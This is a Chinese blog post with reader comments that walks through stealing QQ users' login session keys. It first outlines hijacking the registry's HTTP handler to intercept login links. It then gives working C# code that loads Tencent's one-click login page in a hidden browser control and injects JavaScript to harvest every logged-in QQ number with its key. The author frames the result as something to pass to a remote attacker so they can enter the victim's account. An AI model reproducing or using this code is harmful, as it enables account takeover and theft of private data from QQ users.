在[续1] 别人如何轻易地获得并控制你的QQ网站上所有的信息?中我们知道了通过监控网络设备数据能获得偷偷进入别人私属领地的机会。也许你会说,那说明有危险的都是自己附近的人是吧,可是我附近的人都非常老实巴交,不会这样做的。这里,抛开人的固有好奇心理不谈,我承认你说的没错,但是这还没完。
在之前的你在腾讯网站上的所有资料很容易被他人获得,相信吗?(技术解析) 中提到的手法,能够让任何一个人在任何地方获得你登录的密钥。当然在『续一』中提到了这个一键登录组件被腾讯消灭了,所以那之后并没派上用场。但是确实没任何方法了吗?
提示:本文涉及程序开发内容,没有兴趣的童鞋请打酱油路过,我不收过路费。
设想一
在『续1』中提到了类似这样格式的跳转链接:
http://ptlogin2.qq.com/jump?ptlang=2052&clientuin=QQ号码&clientkey=*****************
上面一串星号的东西,就是我们在之前的文章中想方设法获得的密钥。
因此当主动去探测用户的ClientKey无法使用的情况下,可以使用单独的“守株待兔”的被动方法:程序启动后动态修改注册表中HTTP协议协议的关联程序(qq会根据这个设置启动浏览器),然后拦截到后先判断是否是符合上面格式的登录链接,如果是的话就分析链接地址获得qq号码和会话密钥,最后再启动系统本身的浏览器(这步肯定要执行的,否则浏览器怎么点都不出来会引起不便或注意的)。好了,你进入QQ空间了,我也知道你的密钥了。
获得这个密钥后,配上QQ号码,然后随便通过个什么方法告知远在千里之外的大坏蛋(或者是牵挂你的大坏蛋?),他就能进入你的私属领地徜徉了。
设想二
设想一中提到的方法虽然看起来可行,但其实比较麻烦,尤其是要稳定可靠而且不引起你的注意。
悲剧的是我还没去试验的时候,就发现这个“一键登录”又回来了。回来的是个马甲?
分析了下。
一键登录组件确实变化了,类名由“SSOAxCtrlForPTLogin.SSOForPTLogin”变成了“SSOAxCtrlForPTLogin.SSOForPTLogin2”。
看调用脚本没怎么变,我还以为没其它变化呢,但是再次调用时始终出现这样的异常:
经过反复检查后,发现是这个登录组件如果检测到创建组件的环境不是浏览器时,那么获得QQ用户列表时就会发生“0x80004005”的错误。
果然LevelUp了嘛。
既然如此,那就想办法。比如我们创建一个本地网页然后来使用js获得?
<html> <body> <script type="text/javascript"> var lib=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2"); </script> </body> </html>
好吧我低估了腾讯的智商,这个代码虽然如此简单但是始终无法工作,会报如下的错误:
在我多次验证后,发现这个一键登录组件如果检测到当前浏览器的地址不是qq.com或腾讯公司旗下网站的域名时,这个控件根本无法创建,比前面的还绝。
太过分了。
不过事情总会有解决办法的。既然这个页面是能正常运行的,那我们就考虑使用最无耻的办法吧。仔细分析下一键登录的js源码,会发现这些代码(已经格式化了——看不懂Javascript的直接跳过):
var q_bInit = false; var q_hummerQtrl = null; var g_vOptData = null; var q_aUinList = new Array();
分析后面的代码可知道,当枚举当前的qq号码结束后, q_aUinList 这个变量中保存的就是所有的QQ号码列表。那么可行的思路就很清楚了,我们创建一个浏览器控件,让它加载一键登录页面,加载完成后注入一段JavaScript脚本让组件和它进行交互,然后报告给我们所有登录的QQ号码和对应的密钥即可。
这里用C#实现一个例子。
先创建一个类,来表示当前的QQ信息:
/// <summary> /// SSO的账号信息 /// </summary> public class QQInfo { /// <summary> /// QQ号码 /// </summary> public uint Uin { get; private set; } /// <summary> /// 名称 /// </summary> public string Name { get; private set; } /// <summary> /// 表情 /// </summary> public ushort Face { get; private set; } /// <summary> /// 昵称 /// </summary> public string NickName { get; private set; } /// <summary> /// 性别 /// </summary> public byte Gender { get; private set; } /// <summary> /// LoginSt /// </summary> public string LoginSt { get; set; } /// <summary> /// KEY /// </summary> public string Key { get; private set; } /// <summary> /// 创建 QQInfo class 的新实例 /// </summary> public QQInfo(uint uin, string name, ushort face, string nickName, string key) : this(uin, name, face, nickName, 0, key, String.Empty) { } /// <summary> /// 创建 QQInfo class 的新实例 /// </summary> public QQInfo(uint uin, string name, ushort face, string nickName, byte gender, string key, string loginSt) { Uin = uin; Name = name; Face = face; NickName = nickName; Gender = gender; Key = key; this.LoginSt = loginSt; } /// <summary> /// 获得 <see cref="T:System.String"/> 格式的对象说明 /// </summary> /// <returns></returns> public override string ToString() { return "{0} ({1})".FormatWith(NickName, Uin); } }
再创建一个用来查询用户信息的组件,然后添加必要的事件(咱要面向对象的说)
[System.Runtime.InteropServices.ComVisible(true)] public class SsoDiscoverBrowser : System.ComponentModel.Component { WebBrowser _browser; #region 属性 /// <summary> /// 已登录QQ用户列表 /// </summary> public List<QQInfo> AccountList { get; private set; } #endregion #region 事件 /// <summary> /// 加载用户列表完成 /// </summary> public event EventHandler LoadAccountListFinished; /// <summary> /// 引发 <see cref="FSLib.AppEngine.Tencent.SSO.LoadAccountListFinished"/> 事件 /// </summary> protected virtual void OnLoadAccountListFinished() { if (LoadAccountListFinished != null) LoadAccountListFinished(this, EventArgs.Empty); } #endregion }
这段代码很简单,没什么特别的内容。类前面的“[System.Runtime.InteropServices.ComVisible(true)]”是因为这个组件需要和浏览器控件做交互,所以需要声明为COM可见。而 _browser 控件是个浏览器,就是我们干坏事的。除此以外还有个事件,告诉人家我们枚举别人的QQ信息完成了。最后的属性就是当前获得的QQ号码信息。
先添加构造函数:
public SsoDiscoverBrowser() { _browser = new WebBrowser() { ScriptErrorsSuppressed = true }; _browser.ObjectForScripting = this; _browser.DocumentCompleted += SsoDiscoverBrowser_DocumentCompleted; AccountList = new List<QQInfo>(); }
构造函数初始化了一个浏览器,禁止了错误报告(程序突然蹦出来个脚本错误总是不太好的),然后设置“ObjectForScripting”绑定了交互对象,最后绑定DocumentCompleted事件,这样才好在浏览器加载完成后来注入脚本。然后初始化一个空的QQ号码列表。
注入代码部分如下:
void SsoDiscoverBrowser_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e) { //执行报告 _browser.Document.InvokeScript( "eval", new object[]{ "try{for(var i in q_aUinList){with(q_aUinList[i]){window.external.Report(uin,name,face,nick,key);}}}catch(e){};window.external.ReportEnd();" } ); }
很无耻的做法,强行插入一段脚本访问保存在前面提到的 q_aUinList 变量中的数据,然后调用浏览器交互函数报告QQ号码的信息,最后通知浏览器交互函数报告完毕。加上了try是因为当网页加载不完全等情况可能会造成一键登录不可用,这种情况下仍然要必须保证能通知已经结束检测,否则可能会变成个哑巴没反应。
浏览器交互函数如下:
#region 供WebBrowser交互使用 /// <summary> /// 指定报告结束 /// </summary> [System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)] public void ReportEnd() { OnLoadAccountListFinished(); } /// <summary> /// 报告当前登录用户 /// </summary> /// <param name="uin">QQ号</param> /// <param name="clientkey">KEY</param> /// <param name="face">头像</param> /// <param name="name">用户名</param> /// <param name="nick">昵称</param> [System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)] public void Report(string uin, string name, string face, string nick, string clientkey) { AccountList.Add(new QQInfo(uint.Parse(uin), name, ushort.Parse(face), nick, clientkey)); } #endregion
这两个函数其实没有任何技术含量,就是接受脚本报告的信息然后保存到号码列表而已。结束报告后顺便通知下事件函数说已经完成工作而已。
最后加入一个函数来刷新QQ列表:
/// <summary> /// 刷新当前登录用户列表 /// </summary> public void RefreshList() { AccountList.Clear(); _browser.Navigate("http://xui.ptlogin2.qq.com/cgi-bin/qlogin?domain=qq.com&lang=2052&qtarget=1&jumpname=jump&ptcss=0¶m=u1%253Dhttp%253A%252F%252Fqzone.qq.com%252Fnew.html&css=&r=0.5270386121255669"); }
就是将当前号码列表清空,然后让浏览器定位到指定地址而已。这里定位到的地址就是一键登录的页面。
好了,所有的事情都完工。用的时候创建这样一个组件,然后绑定 LoadAccountListFinished 事件,最后使用 RefreshList 来刷新列表即可。
完工如下图所示:
好了。目的达到了,再次用什么随便的方法通知远在千里之外的大坏蛋,他就可以继续在你的后花园里面徜徉了~~~
不过这样的方法有个问题,就是只支持QQ2010Beta3以及之后的版本。因为在这之前的版本中,KEY这个密钥出现在ST的位置,从而导致这个一键登录报告不准;你拿TM登录QQ号码然后去用一键登录就会发生这样的情况,快速登录完它居然又跳回登录页面。不过这个问题不是太严重,对于老版本的QQ可以继续用老办法嘛,不过如果是新老版本同存的话就不行了~不过我想应该不会有人像我这么BT吧。
好了,不好的念头实现了,阿弥陀佛,罪过罪过。
本日志备份自 QQ 空间,原文地址:http://user.qzone.qq.com/286495995/blog/1274366252。
用不了了,获取不到数据 ssoDiscoverBrowser1.AccountList获取不到数据,我怀疑是js改了
你个坏银[em]e148[/em]
你个坏银[em]e148[/em]
佩服鱼思路的犀利,和能力的强大。
[ft=,2,]观察的太细致了[/ft]
[em]e127[/em][ft=,2,]哥,你太牛了。这样都能想的到!!佩服[/ft]
[ft=,2,]的确是一个[/ft]bug,之前给许多人利用了导致TX紧急停用该功能,加了密升了级才发出来,结果还是给LZ这种强人破解了,[em]e109[/em]内牛满面啊